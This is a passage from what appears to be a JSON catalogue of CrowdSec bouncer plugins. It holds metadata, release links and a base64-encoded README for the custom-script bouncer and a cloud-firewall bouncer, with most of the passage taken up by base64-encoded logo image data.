KoxOTl5ZkR8KiIe2Y99RVF4us6qobBDROzdu/dgSultfVo3klL6y/Hx8fP6tA+g1rZt23ZqURSfiIiz+7TyY7Ozs3N92gUrprDDEfPz838UEf/Qp3WnNBqNTzSbzSf3aR9ALTWbzdMWFxc/HhFP6tPKhZzzb/RpF/SEwg5HzM3N3R0Rr+vjykdFxGdardb5fdwJUBtHPgZzbUppoo9r/6jb7d7Yx32wYgo7fJ9Op/PhiPibPq7ckHP+ZKvVen4fdwJUbmJi4olFUXQiom8fD0wp7RsdHX1Tv/ZBryjscD9DQ0OvjYhDfVw5mnP+i2az+drwPe3AABgfH39GSml3RGzu596iKF43PT19Vz93Qi/4Wke4n5tvvvk7GzduHE4pTfVxbSMi/tWmTZv++dlnn/2Jm2+++Z4+7gboix07dgxt2LDhd1NK746IE/q8/pPdbvf/6/NO6AlP2OEBrF+//i0ppS9XsPq5S0tLc61Wa0sFuwFKMzk5eeb+/fuvyTn/bvS/f9wdEb/a553QM/78Dg9iYmLiJ1JK7YgYrWD9QkS8JSJ+v9Pp9PPjOQC9liYmJn6h0Wj8t5zzGRVl+KVOp/OeinbDiins8BCazearI+JPKozwtZTSxe12+2MVZgBYlsnJyR8tiuLtEfH0qjKklD7QbrdfVNV+6AWFHY5iYmLiL1NKP1dxjA9HxBs7nc4XK84BcFTbt29/xOLi4m9FxKsjYriqHCmlL4+MjIw5NGW1U9jhKKampjbMz8/PRcQ5FUcpIuLjKaX/1G63r6s4C8APGR8f/2cppdenlF4T/T8qvb97IqLV6XQ+W3EOWDGFHY5Bq9XaknPeHREjVWeJiBz3Fvc/arfb03FvkQeoTKvVelLO+dUR8bKo5u7nh+ScX9ntdt9ZdQ7oBYUdjlGz2fzFiLg8avTvTUppX875vTnnK725D+inLVu2PGpoaOjFKaWXRMRTq85zP5d1Op1frjoE9EptigesBs1m840R8V+rzvFAUkpzEfG3OedrI6Lt22WAXtqxY8fQLbfc8tSlpaULGo3GhTnnC6Ke73P58MaNG5+/c+fOpaqDQK8o7HCcJiYmLkkpXVx1jqOYj4huznlXSmlvo9HYe+DAga/fcMMNC1UHA1aFRqvV2pRSOjfn/OSIaOWcz4+IDVUHO4rPjI6OPnN6etrL51hTFHY4fo1ms/neiHhx1UGOU5FS+kbOeX9E3H7kn/mIuDvnPF9tNKAiwymlh8e9T8pPP/LPoyNic9TjZud4XD86Onr+9PT0gaqDQK9V9lVLsIoVCwsLvzAyMnJaRDyz6jDHoZFz3hQRm+7/P6Tkv92BVW3/4uLiszudjrLOmtTvVwPDmjA3N3d4dHT0+RFxddVZAAbc1yPiadddd92+qoNAWep4LAKrwk033bRwyimnfGBkZORHUkpPqjoPwAC6oSiKp3e73ZuqDgJlUthhBW677bal/fv3f2jz5s0Pj4hm1XkABsj/WVhYeMZ11113W9VBoGwKO/TAvn37Prl58+Z7IuLp4ZgboGwfiYjn7dmz566qg0A/KOzQI/v27ZvZvHnzrRHxrHAfAlCWd27cuPFln/jEJ3xNLQPDk0DosVartSXn/IGIeGzVWQDWkHsi4g2dTueSqoNAvynsUIKtW7eePjQ09GcR8dNVZwFYA74YES/odDrXVx0EqqCwQ3lSs9m8OCL+IFbfC0gA6uLKgwcPvnLv3r0Hqw4CVVHYoWStVquZc35/RDym6iwAq8hdEfGrnU7niqqDQNUcnULJ9u3bt//xj3/85UtLS+siYmv49w7gaD60uLj4nNnZ2V1VB4E68IQd+mjr1q1PGB4evjTn/IyqswDU0FcbjcbFMzMzH686CNSJwg4VmJiYeE5K6R0RsbHqLAA1sJBz/uP169f/3vT09D1Vh4G6UdihImNjY6eMjo7+Vs75VRFxUtV5ACqwFBEfTCn9Trvd/mrVYaCuFHao2Pj4+MlDQ0OvzDn/+4g4reo8AH1wOCL+otFovGlmZuZLVYeBulPYoSampqZOmp+ff3lE/PuIOLPqPAAlmI97n6j/R0/U4dgp7FAzY2NjJ4yOjr4s5/yyiNhSdR6AHrgpIq5cXFx8x3XXXfePVYeB1UZhhxprNps/llJ6Uc75JRFxTtV5AI7DHRHx0ZzzFd1u99MRkasOBKuVwg6rQ2NiYuL8iHhpo9F4Ts75jKoDATyAu1NKV+ec3zs6OvrXvvEFekNhh1Vo27Zt5xRFcWHO+cKIuDAiTq06EzCQFlNKnyuK4uqIuHr9+vW7lXToPYUdVrkdO3YM7du37ydTSk/LOf9ko9F4cs75ceGNqkDv7Y+I61NKn11aWppeXFycmZubu7vqULDWKeywBjWbzYdFxI/lnB8bEWc3Go2zi6I4M6V0ekScERGnR8T6uPdnwIYKowLVuyvu/ZrFxYi4PSJuTyndXhTFNyPippTS11NKNzUajS/u3r37O5UmhQH1fwFiYtgzpiU5kgAAAABJRU5ErkJggg==", "url": "https://github.com/crowdsecurity/cs-custom-bouncer", "description": "CrowdSec bouncer to use custom scripts", "stars": 11, "downloads": 382, "readme_content": "PHAgYWxpZ249ImNlbnRlciI+CjxpbWcgc3JjPSJodHRwczovL2dpdGh1Yi5jb20vY3Jvd2RzZWN1cml0eS9jcy1jdXN0b20tYm91bmNlci9yYXcvbWFpbi9kb2NzL2Fzc2V0cy9jcm93ZHNlY19jdXN0b21fbG9nby5wbmciIGFsdD0iQ3Jvd2RTZWMiIHRpdGxlPSJDcm93ZFNlYyIgd2lkdGg9IjI4MCIgaGVpZ2h0PSIzMDAiIC8+CjwvcD4KPHAgYWxpZ249ImNlbnRlciI+CjxpbWcgc3JjPSJodHRwczovL2ltZy5zaGllbGRzLmlvL2JhZGdlL2J1aWxkLXBhc3MtZ3JlZW4iPgo8aW1nIHNyYz0iaHR0cHM6Ly9pbWcuc2hpZWxkcy5pby9iYWRnZS90ZXN0cy1wYXNzLWdyZWVuIj4KPC9wPgo8cCBhbGlnbj0iY2VudGVyIj4KJiN4MUY0REE7IDxhIGhyZWY9IiNpbnN0YWxsYXRpb24vIj5Eb2N1bWVudGF0aW9uPC9hPgomI3gxRjRBMDsgPGEgaHJlZj0iaHR0cHM6Ly9odWIuY3Jvd2RzZWMubmV0Ij5IdWI8L2E+CiYjMTI4MTcyOyA8YSBocmVmPSJodHRwczovL2Rpc2NvdXJzZS5jcm93ZHNlYy5uZXQiPkRpc2NvdXJzZSA8L2E+CjwvcD4KCgojIGNyb3dkc2VjLWN1c3RvbS1ib3VuY2VyCkNyb3dkc2VjIGJvdW5jZXIgd3JpdHRlbiBpbiBnb2xhbmcgZm9yIGN1c3RvbSBzY3JpcHRzLgoKY3Jvd2RzZWMtY3VzdG9tLWJvdW5jZXIgd2lsbCBwZXJpb2RpY2FsbHkgZmV0Y2ggbmV3IGFuZCBleHBpcmVkL3JlbW92ZWQgZGVjaXNpb25zIGZyb20gQ3Jvd2RTZWMgTG9jYWwgQVBJIGFuZCB3aWxsIHBhc3MgdGhlbSBhcyBhcmd1bWVudHMgdG8gYSBjdXN0b20gdXNlciBzY3JpcHQuCgojIyBJbnN0YWxsYXRpb24KClBsZWFzZSBmb2xsb3cgdGhlIFtvZmZpY2lhbCBkb2N1bWVudGF0aW9uXShodHRwczovL2RvYy5jcm93ZHNlYy5uZXQvZG9jcy9ib3VuY2Vycy9jdXN0b20pLgoK", "status": "stable", "version": "v0.0.11", "assets": [ { "name": "crowdsec-custom-bouncer.tgz", "download_url": "https://github.com/crowdsecurity/cs-custom-bouncer/releases/download/v0.0.11/crowdsec-custom-bouncer.tgz", "asset_url": "https://api.github.com/repos/crowdsecurity/cs-custom-bouncer/releases/assets/52345269" } ] }, { "name": "cs-cloud-firewall-bouncer", "author": "fallard84", "logo": "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